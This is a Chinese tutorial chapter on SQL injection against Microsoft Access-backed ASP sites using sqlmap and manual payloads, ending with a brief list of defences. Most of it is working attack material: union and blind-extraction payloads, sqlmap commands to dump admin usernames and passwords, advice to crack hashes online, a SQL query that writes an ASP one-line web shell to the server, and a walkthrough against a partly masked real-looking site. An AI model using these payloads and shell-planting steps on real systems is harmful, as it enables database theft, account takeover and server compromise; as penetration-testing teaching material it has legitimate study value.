sqlmap从入门到精通-第五章-5-1 使用sqlmap进行Access注入及防御

5.1 使用sqlmap进行Access注入及防御

对于存在Access注入的站点,可以通过手工注入或者工具注入来获取Access数据库中的表内容,特别是获取网站后台管理表中的用用户名和密码

5.1.1 Access数据库简介

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine和图形用户界面两项特点,是 Microsoft Office的系统程序之一。

1. Access数据库结构

Access数据库此阿勇表名-列名-内容数据,她跟其他数据库不一样,例如:MySQL,MSSQL,像这类数据库需要先创建数据库名,而Access数据库则不需要创建,因为她是个mdb格式的文件,一个库可以包含多个表

2. 操作Access数据库

默认情况下Office会安装Access组件来创建数据库,对数据库中的表实施管理操作,可以通过Access数据库访问工具进行操作

5.1.2 Access注入基础

1. Access注入基本流程

(1) 判断有无注入

(2) 猜解表名

(3) 猜解字段

(4) 猜解管理员字段值

(5) 猜解用户名和密码长度

(6) 猜解用户名和密码

(7) 破解加密密码

(8) 寻找并登录后台

2. 常见的注入工具

常见的SQL注入工具有“HDSI 3.0 Goldsun干净拓宽版”、“Domain”、“Safe3”、“啊D工具”、“管中窥豹”、Havij、pangolin、WebCruiser和SQLmap等。目前仅仅SQLmap是开源,出于安全考虑,建议用sqlmap工具进行access注入。

3. 常见的查询方式

(1) 联合查询法(速度快,兼容性不好)

* and 1=1 and 1=2 ——判断注入

* order by 22  ——猜有多少列(12正确,13错误,则为12个)

* union select 1,2,3,4,5,6,7,8,9,10,11,12from admin 猜表名(报错说明表名不存在,将admin表换成别的继续猜测)

union select 1,2,username,4,5,6,7,8,9,10,11,12 from admin 猜列名(列名位置放置页面上显示的数字位置上,报错说明列名不存在,换列明继续猜,列名猜对后及出账号密码)

(2) 逐字猜解法(速度慢,兼容性好)

* and 1=1 and 1=2 ——判断注入

* and exists (select * from admin) 猜表名

* and exists (select user_name from admin) 猜列名 查数据:1.确定长度 2.确定asc数据(asc编码)

* and (select top 1 len(user_name ) fromadmin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断)

* and (select top 1 asc(mid(user_name ,1,1))from admin)=97 判断第一位 (97代表‘a’的ascll值)

* and (select top 1 asc(mid(user_name ,2,1))from admin)=97 判断第二位

(user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位npass_word=a48e190fafc257d3)

4. 判断有无注入

(1) 粗略型:提交单引号’,id值-1、id值+1,判断页面显示信息不同或者出错信息。

(2) 逻辑型(数字型注入):and 1=1 , and 1=2;正常显示,内容与正常页面显示的结果基本相同;提示BOF或EOF(程序没做任何判断时),或提示找不到记录,或显示内容为空(程序加了on error resume next);在数据库中是否执行,and 1=1 永远为真所以页面返回正常,and 1=2永远为假所以返回的结果会出错,根据其结果来判断是否存在sql注入。

(3) 逻辑型(字符型注入):’and ’1′=’1/’ 、and ’1′=’2

(4) 逻辑型(搜索型注入):%’and 1=1 , and ‘%’=‘%/%’ , and 1=2 and ‘%’=‘%

5.1.3 sqlmap思路及命令

1. sqlmap Access注入操作指南

(1) 手工判断url是否存在SQL注入。通过在url传入参数处加入“’”、and 1=1、and 1=2等,查看页面是否出错,如果存在页面不一样或者有出错信息,则表明网站url存在sql注入。常见的错误信息如下:

Microsoft JET Database Engine 错误 ’80040e14′

在联合查询中所选定的两个数据表或查询中的列数不匹配。

/view.asp,行 26

以上信息表明数据库采用Access数据库。

(2) 使用sqlmap进行检测注入点是否可用

Sqlmap命令:sqlmap.py –u url 

如果存在,则会提示进行相应操作,例如判断数据库中的表,如果不存在则无法继续。

(3) 检测表,执行“sqlmap.py –u url -- tables”命令来获取access数据库表,需要选择线程数,建议选择1-20之间,这个数过大,会导致网站无法打开。

(4) 获取数据库表内容

sqlmap.py –u url --tables --columns -T admin

如果存在管理员表admin,则可以通过以上命令来获取admin表中的列。

(5) 获取管理员admin表中的数据内容

sqlmap.py –u url --dump -T admin -C "username,password" 

通过(4)获取admin表中存在username和password列,通过dump参数来获取该表中的所有数据。也可以通过sqlmap.py –u url –sql-query=”select username,password from admin”来获取admin表中的内容,还可以通过sqlmap.py –u url –sql-shell来进行sql查询交互使用。

2. 一个完整的access注入过程命令

(1) 注入点判断:sqlmap.py-u http://www.xxx.com/index.asp?id=1

(2) 猜数据库表:sqlmap.py -u http://www.xxx.com/index.asp?id=1 –tables

输入线程:10,回车后开始跑表,找到合适的表后,按下ctrl+c终止跑表。

(3) 对某个表进行字段猜解

sqlmap.py-u ” http://www.xxx.com/index.asp?id=1” –tables –columns -Tadmin

例如获取admin表的字段如下: id,username,password

(4) 对admin表字段内容进行猜解

sqlmap.py -u " http://www.xxx.com/index.asp?id=1"--dump -T admin -C "username,password" 

(5) 获取明文密码或者加密密码。通过cmd5.com等在线网站进行明文密码破解。

(6) 寻找后台地址,并登录后台

(7) 通过后台管理寻求可以获取webshell的功能模块,尝试获取webshell。

知道web真实路径,且可以通过脚本执行查询,则可以通过查询来获取webshell,例如网站真实路径:d:\freehost\fred200903\web\,则查询语句为:

SELECT ‘<%execute request("a")%>‘ into [a] in ‘ D:\freehost\fred200903\web\x.asp;a.xls‘ ‘excel 8.0;‘ from a Shell地址:http://www.somesite.com/x.asp;a.xls,一句话后门密码a,该shell对存在IIS解析漏洞的Windows服务器平台有效

5.1.4 Access 其他注入

1. Access POST登陆框注入

注入点:http://xxx.xxx.com/Login.asp

(1) 通过burpsurte抓包保存为txt文件,使用sqlmap进行自动注入例如对着注入点使用burp抓包,保存bmfx.txt文件,使用命令:

sqlmap.py -r bmfx.txt -p tfpasswd

(2) 自动搜索表单的方式 

sqlmap-u http://xxx.xxx.com/Login.asp --forms

(3) 指定一个参数的方法

sqlmap -u http://xxx.xxx.com/Login.asp --data "tfUName=1&tfUPass=1"

2.Cookie注入

命令如下:

sqlmap -u "http://www.xxx.com/news.asp" --cookie "id=1" --table --level 2

5.1.5 Access SQL注入实战案例

此处实战可以直接使用墨者的靶机地址如下:

基础实战

SQL手工注入漏洞测试(Access数据库)

https://www.mozhe.cn/bug/detail/VExmTm05OHhVM1dBeGdYdmhtbng5UT09bW96aGUmozhe

高级一点的实战

SQL注入实战(防注入)-Access

https://www.mozhe.cn/bug/detail/VjFKQktvazRNcTdOYkg2cElONVppUT09bW96aGUmozhe

1. 使用AWVS扫描站点

打开AWVS,新建扫描目标,如图1所示,执行WebScanner,扫描结束后可以看到其高危提示显示存在多个SQL盲注。依次展开,获取其详细url地址。在该结果中还可以看到28web目录,该目录后后台地址

2. 手工测试注入点

在url地址地址后加入一个单引号,其url经过编码后显示为%27也即在浏览器中直接访问:http://www.b********n.com/company.asp?id=9&cid=4%27,提示存在类型不匹配,说明可能存在SQL注入。

3. 使用sqlmap检测注入点

使用sqlmap.py –u http://www.xxx.com/company.asp?id=9&cid=4进行注入点检测, SQLMAP已经检测出该url存在SQL注入地址,获取操作系统版本可能是Windows 10或者Windows 2016,数据库为Access。获取Access数据库中表的命令:sqlmap.py –u http://www.b********n.com/company.asp?id=9 --table

4.获取admin表内容

(1) 获取数据库表admin的列名及其导出表内容

依次使用下面的命令来获取数据库表admin的列名及其导出其表内容:

sqlmap.py –u http://www.xxx.com/company.asp?id=9 --tables --columns -T admin

sqlmap.py –u http://www.xxx.com/company.asp?id=9 --dump -T admin –C

(2) 可以通过sql-shell参数来交互查询获取数据

sqlmap.py –u http://www.xxx.com/company.asp?id=9 --sql-shell

执行上面命令后,执行selectusername,password from admin查询来获取当前的所有用户及密码。

5. 登录后台地址

使用地址http://www.xxx.com/28web进行登录,如图6所示成功登录后台。在wvs扫描结果中可以看到有admin_chklogin.asp,所以28web为后台登陆地址。

6. sqlmap查询结果

sqlmap的日志文件以及数据库dump文件均在C:\Users\Administrator\.sqlmap\output\targnet.com目录下。targnet.com为执行注入测试的名称。不同的用户需要修改Administrator为对应的用户名称

7. 技巧

可以使用sqlmap.py –u http://www.xxx.com/company.asp?id=9 –a --batch --smart自动获取所有信息。

5.1.6 SQL通用防注入系统ASP版获取webshell

在Access+ASP架构中,很多网站采用通用防注入系统来防范SQL注入攻击,该系统确实在一定程度上可以防范SQL注入,但是其设计存在一个重大的缺陷,将注入操作的URL数据写入ASP文件中,如果在内容中插入ASP一句话加密木马内容,就可以获取webshell

1. 来自CTF通过的提示

2. 测试语句

1 and 1=1 提示非法操作,同时记录了程序的操作IP,操作时间,操作页面,提交方式,提交参数,提示攻击者网站是有安全防护

3. 使用sqlmap绕过防火墙进行注入测试

经过测试通过使用sqlmap对URL地址进行绕过测试,并未成功

4. 使用加密的ASP一句话木马

此处作者使用的是加密的乱码一句话

5. 访问sqlin.asp

http://www.xxx.com/sqlin.asp

6. 获取webshell

使用菜刀连接 http://www.xxx.com/sqlin.asp

7. 获取key值

8. 漏洞分析

(1) news.asp文件

(2) SQL注入防范程序分析

(3) 安全建议

存在参数传入的地方一定要进行过滤,同时进行类型的严格检查和限定,在本例中使用SQL防范程序可以解决SQL注入,但是如果SQL防范程序存在缺陷的情况,将导致网站存在安全风险,本例可以将sqlin.asp修改为mdb文件也是可以避免

5.1.7 安全防御

(1) 对所有涉及传入参数进行过滤

(2) 使用SQL防注入代码

在连接数据库的下方加入SQL注入防范代码

(3) 使用WAF等防护软件

(4) 数据库登陆账户权限分开,采用最低授权原则

(5) 数据库连接账号要设置强健的密码

(6) 对网站进行安全检查及扫描,即使修复存在的漏洞,特别是禁止在网站根目录打包源代码,防止数据库等配置文件泄露

(7) 禁止在网站目录进行数据库备份

发现作者也把这篇文章发到互联网上去了,具体如下:

https://4hou.win/wordpress/?p=17495

 

sqlmap从入门到精通-第五章-5-1 使用sqlmap进行Access注入及防御
 

sqlmap从入门到精通-第五章-5-1 使用sqlmap进行Access注入及防御

上一篇:MySQL索引原理


下一篇:Centos7搭建基于GTID的MySQL主从复制架构